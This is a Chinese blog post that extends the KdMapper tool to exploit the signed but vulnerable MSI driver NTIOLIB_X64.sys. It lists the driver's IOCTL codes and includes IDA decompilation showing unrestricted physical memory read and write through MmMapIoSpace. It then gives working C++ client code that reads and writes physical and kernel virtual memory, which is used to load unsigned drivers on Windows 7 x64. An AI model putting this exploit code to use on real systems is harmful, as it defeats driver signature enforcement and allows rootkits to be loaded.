首页 > 其他分享 >KdMapper扩展实现之microstar(NTIOLIB_X64.sys)

KdMapper扩展实现之microstar(NTIOLIB_X64.sys)

时间:2023-09-27 10:36:54浏览次数:46  
标签:INFO __ microstar NTIOLIB X64 pInfo MEMORY NTIOLIB64 PHYSICAL

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称 NTIOLIB_X64.sys 
时间戳 5089142E
MD5 23CF3DA010497EB2BF39A5C5A57E437C
文件版本 1.0.0.0
设备名称 \\.\NTIOLib_1_0_3
读物理内存 0xC3506104
写物理内存 0xC350A108
Windows 7 支持
Windows 10 不支持
Windows 11 不支持

 

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        unsigned __int64 v2; // rax

        v2 = BugCheckParameter2;
        if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64)
        {
                v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
                if (!v2)
                        v2 = 0x2B992DDFA232i64;
                BugCheckParameter2 = v2;
        }
        BugCheckParameter3 = ~v2;
        return CreateDevice(DriverObject);
}

 

3.2 创建设备和符号链接

NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{
        NTSTATUS result; // eax
        NTSTATUS ntStatus; // ebx
        struct _UNICODE_STRING DeviceName; // [rsp+40h] [rbp-28h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-18h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF

        DeviceObject = 0i64;
        RtlInitUnicodeString(&DeviceName, L"\\Device\\NTIOLib_1_0_3");
        result = IoCreateDevice(DriverObject, 0, &DeviceName, 0xC350u, 0x100u, 0, &DeviceObject);
        if (result >= 0)
        {
                GlbalInitialized = 0;
                DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)MainDispatch;
                DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)MainDispatch;
                DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)MainDispatch;
                DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11450;
                RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\NTIOLib_1_0_3");
                ntStatus = IoCreateSymbolicLink(&DestinationString, &DeviceName);
                if (ntStatus < 0)
                        IoDeleteDevice(DeviceObject);
                result = ntStatus;
        }
        else
        {
                GlbalInitialized = -1;
        }
        return result;
}

 

3.3 MainDispatch

__int64 __fastcall MainDispatch(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
        ......
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        if (nIoControlCode > 0xC35060D4)
        {
                switch (nIoControlCode)
                {
                case 0xC3506104:
                        ntStatusV10 = ReadPhysicalMemory(
                                (NTIOLIB64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer,
                                pIosp->Parameters.DeviceIoControl.InputBufferLength,
                                pIrp->AssociatedIrp.SystemBuffer,
                                pIosp->Parameters.DeviceIoControl.OutputBufferLength,
                                pNtStatusInformation);
                        break;
		......
                case 0xC350A108:
                        ntStatusV10 = WritePhysicalMemory(
                                (NTIOLIB64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer,
                                pIosp->Parameters.DeviceIoControl.InputBufferLength,
                                pIrp->AssociatedIrp.SystemBuffer,
                                pIosp->Parameters.DeviceIoControl.OutputBufferLength,
                                pNtStatusInformation);
                        break;
                ......
                }
        LABEL_59:
                nReturnCode = ntStatusV10;
                goto LABEL_66;
        }
        ......
LABEL_66:
        pIrp->IoStatus.Status = nReturnCode;
        IofCompleteRequest(pIrp, 0);
        return nReturnCode;
}
  • 读物理内存 0xC3506104

  从 NTIOLIB64_PHYSICAL_MEMORY_INFO 的物理地址PhysicalAddress复制数据到 NTIOLIB64_PHYSICAL_MEMORY_INFO  之后。

  • 写物理内存 0xC350A108

  从 NTIOLIB64_PHYSICAL_MEMORY_INFO 之后的内容地址复制数据到 NTIOLIB64_PHYSICAL_MEMORY_INFO 的物理地址PhysicalAddress。

 

3.4 读物理内存

__int64 __fastcall ReadPhysicalMemory(NTIOLIB64_PHYSICAL_MEMORY_INFO *pInfo, int nInputBufferLength, void *pOutputBuffer, unsigned int nOutputBufferLength, unsigned int *ntStatusInformation)
{
  unsigned int nTotalSize; // eax
  SIZE_T nTotalSizeUnmap; // r12
  PVOID pMappedAddress; // rax
  char bErrorAlign; // bp
  __int64 v13; // rcx
  _DWORD *v14; // rdi
  _DWORD *v15; // rsi
  __int64 v16; // rcx
  _WORD *v17; // rdi
  _WORD *v18; // rsi

  if ( nInputBufferLength != 16 )
    return 0xC000000Di64;
  nTotalSize = pInfo->Length * pInfo->CopyAlign;
  if ( nOutputBufferLength < nTotalSize )
    return 0xC000000Di64;
  nTotalSizeUnmap = nTotalSize;
  pMappedAddress = MmMapIoSpace(pInfo->PhysicalAddress, nTotalSize, MmNonCached);
  bErrorAlign = 0;
  switch ( pInfo->CopyAlign )
  {
    case 1u:
      qmemcpy(pOutputBuffer, pMappedAddress, pInfo->Length);
      break;
    case 2u:
      v16 = pInfo->Length;
      v17 = pOutputBuffer;
      v18 = pMappedAddress;
      while ( v16 )
      {
        *v17++ = *v18++;
        --v16;
      }
      break;
    case 4u:
      v13 = pInfo->Length;
      v14 = pOutputBuffer;
      v15 = pMappedAddress;
      while ( v13 )
      {
        *v14++ = *v15++;
        --v13;
      }
      break;
    default:
      bErrorAlign = 1;
      break;
  }
  MmUnmapIoSpace(pMappedAddress, nTotalSizeUnmap);
  if ( bErrorAlign )
    return 0xC000000Di64;
  *ntStatusInformation = nOutputBufferLength;
  return 0i64;
}

 

3.5 写物理内存

  

__int64 __fastcall WritePhysicalMemory(NTIOLIB64_PHYSICAL_MEMORY_INFO *pInfo, unsigned int nInputBufferLength, PVOID pOutputBuffer, __int64 nOutputBufferLength, _DWORD *ntStatusInformation)
{
  SIZE_T nTotalSize; // rbx
  PVOID pMappedAddress; // rax
  char bErrorAlign; // bp
  __int64 v10; // rcx
  NTIOLIB64_PHYSICAL_MEMORY_INFO *v11; // rsi
  _DWORD *v12; // rdi
  __int64 v13; // rcx
  NTIOLIB64_PHYSICAL_MEMORY_INFO *v14; // rsi
  _WORD *v15; // rdi
  signed __int32 v16[10]; // [rsp+0h] [rbp-28h] BYREF

  if ( nInputBufferLength < 0x10 )
    return 0xC000000Di64;
  nTotalSize = pInfo->CopyAlign * pInfo->Length;
  if ( nInputBufferLength < nTotalSize + 16 )
    return 0xC000000Di64;
  pMappedAddress = MmMapIoSpace(pInfo->PhysicalAddress, nTotalSize, MmNonCached);
  bErrorAlign = 0;
  switch ( pInfo->CopyAlign )
  {
    case 1u:
      qmemcpy(pMappedAddress, &pInfo[1], pInfo->Length);
      break;
    case 2u:
      v13 = pInfo->Length;
      v14 = pInfo + 1;
      v15 = pMappedAddress;
      while ( v13 )
      {
        *v15 = v14->PhysicalAddress.LowPart;
        v14 = (NTIOLIB64_PHYSICAL_MEMORY_INFO *)((char *)v14 + 2);
        ++v15;
        --v13;
      }
      break;
    case 4u:
      v10 = pInfo->Length;
      v11 = pInfo + 1;
      v12 = pMappedAddress;
      while ( v10 )
      {
        *v12 = v11->PhysicalAddress.LowPart;
        v11 = (NTIOLIB64_PHYSICAL_MEMORY_INFO *)((char *)v11 + 4);
        ++v12;
        --v10;
      }
      break;
    default:
      bErrorAlign = 1;
      goto LABEL_18;
  }
  _InterlockedOr(v16, 0);
LABEL_18:
  MmUnmapIoSpace(pMappedAddress, nTotalSize);
  if ( bErrorAlign )
    return 0xC000000Di64;
  *ntStatusInformation = 0;
  return 0i64;
}

 

3.6 NTIOLIB64_PHYSICAL_MEMORY_INFO结构

00000000 NTIOLIB64_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x10, copyof_379)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 CopyAlign       dd ?
0000000C Length          dd ?
00000010 NTIOLIB64_PHYSICAL_MEMORY_INFO ends

 

3.7 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

 

4. 代码实现

4.1 .h文件

#pragma pack(push)
#pragma pack(1)
        typedef struct /*DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)*/_NTIOLIB64_PHYSICAL_MEMORY_INFO {
                PHYSICAL_ADDRESS PhysicalAddress;
                ULONG CopyAlign; // 1,2,4 使用1时是正常按字节复制数据
                ULONG Length;
        } NTIOLIB64_PHYSICAL_MEMORY_INFO, *PNTIOLIB64_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define NTIOLIB64_DEVICE_TYPE          (DWORD)0xC350
#define NTIOLIB64_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0x1841
#define NTIOLIB64_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x2842
#define IOCTL_NTIOLIB64_READ_PHYSICAL_MEMORY      \
    CTL_CODE(NTIOLIB64_DEVICE_TYPE, NTIOLIB64_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0xC3506104
#define IOCTL_NTIOLIB64_WRITE_PHYSICAL_MEMORY    \
    CTL_CODE(NTIOLIB64_DEVICE_TYPE, NTIOLIB64_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0xC350A108

 

4.2 .c文件

NTSTATUS microstar_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL microstar_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}


BOOL WINAPI microstar_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;


        NTIOLIB64_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));
        request.CopyAlign = 1;
        request.Length = NumberOfBytes;
        request.PhysicalAddress.QuadPart = PhysicalAddress;
        __try {

                if (DoWrite) {
                        ULONG nAllocateBufferLength = sizeof(NTIOLIB64_PHYSICAL_MEMORY_INFO) + NumberOfBytes;
                        PBYTE pBufferWrite = (PBYTE)malloc(nAllocateBufferLength);
                        if (pBufferWrite)
                        {
                                RtlZeroMemory(pBufferWrite, nAllocateBufferLength);
                                RtlCopyMemory(pBufferWrite, &request, sizeof(request));
                                RtlCopyMemory((PBYTE)pBufferWrite + sizeof(request), Buffer, NumberOfBytes);
                                bResult = SuperCallDriver(DeviceHandle,
                                        IOCTL_NTIOLIB64_WRITE_PHYSICAL_MEMORY,
                                        pBufferWrite,
                                        nAllocateBufferLength,
                                        0,
                                        0);
                                free(pBufferWrite);
                        }
                        else
                        {
                                Log(L"[!] Write Physical Memory Allocate Temp Memory Failed" << std::endl);
                        }

                }
                else {
                        bResult = SuperCallDriver(DeviceHandle,
                                IOCTL_NTIOLIB64_READ_PHYSICAL_MEMORY,
                                &request,
                                sizeof(request),
                                Buffer,
                                NumberOfBytes);
                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error ReadWritePhysicalMemory Exception!" << std::endl);
        }

        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI microstar_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI microstar_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI microstar_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI microstar_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》

 

5. 运行效果

  Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》

  

 

6.特别提示

  使用 NTIOLIB_X64.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

标签:INFO,__,microstar,NTIOLIB,X64,pInfo,MEMORY,NTIOLIB64,PHYSICAL
From: https://www.cnblogs.com/ImprisonedSoul/p/17731948.html

相关文章

  • KdMapper扩展实现之Huawei(Phymemx64.sys)
    1.背景  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称Phymemx64.sys 时间戳5835......
  • KdMapper扩展实现之CrystalMark(winring0x64.sys)
    1.背景  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称winring0x64.sys 时间戳47......
  • ARM和X86、X86和X64、Intel和AMD、CPU和GPU介绍
    一、ARM和X86X86和ARM都是CPU设计的一个架构。X86用的是复杂指令集。ARM用的是精简指令集。指令集其实就是机器码,机器码上是汇编,汇编之上是程序语言例如java、c、c#。复杂指令集是在硬件层面上设计了很多指令,所以编程会简单些。精简指令集是在硬件层面上设计的指令比较少,所......
  • OGG_Linux_x64_BigData启动ggsci时报错:error while loading shared libraries: libjvm
    问题描述:[root@hadoop03ggs]$./ggsci./ggsci:errorwhileloadingsharedlibraries:libjvm.so:cannotopensharedobjectfile:Nosuchfileordirectory 解决办法:1.查看缺少那些.so文件[root@hadoop03/]# lddggsci 2.查libjvm.so库文件的路径[root@hadoop0......
  • Windows 11 22H2 中文版、英文版 (x64、ARM64) 下载 (updated Aug 2023)
    Windows1122H2中文版、英文版(x64、ARM64)下载(updatedAug2023)Windows11,version22H2,2023年8月更新请访问原文链接:https://sysin.org/blog/windows-11/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org全新推出Windows11全新Windows体验,让您与热......
  • 图像处理 Adobe Camera Raw v15.2 for Windows x64 v14.5 for macOS
    AdobeCameraRaw允许您导入和增强原始格式图像,自从2003年发布以来就成为专业摄影师的必备工具。支持AdobeCameraRaw的应用程序包括Photoshop、PhotoshopElements、AfterEffects和Bridge。此外,AdobeLightroom采用了与AdobeCameraRaw相同的强大的原始格式图像处理......
  • 本地nacos启动报错: Please set the JAVA_HOME variable in your environment, We nee
    编辑startup.cmd文件将模式从cluster改为standalone插入一行指定你的JAVA_HOME路径setJAVA_HOME="C:\dev_files\jdk17"然后启动nacos即可~......
  • Reversing-x64Elf-100
     对应的脚本代码为: ......
  • x64ShellCode-通过PEB获取模块地址.
    以x64dbg.exe调试x64dbg.exe为例.汇编代码为如下.movrax,qwordptrgs:[0x0000000000000060]movrax,qwordptrds:[rax+0x10]二进制硬编码如下"\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x48\x8B\x40\x10\x90\x90"结果如下:......
  • MedCalc x64下载_MedCalc x64官方版下载 官方版特色
    MedCalc是一款专业为医学工作者设计的医学计算器曲线统计软件,可以帮助医生快速作出普通的医学计算,从而对症下药。MedCalcROC曲线分析多达6个ROC曲线的对照,提供超过76种常用的规则和方法,在研究医学领域有较为广泛的应用。kkx为大家分享的MedCalc是绿色免费版的版本,可以帮助用户进......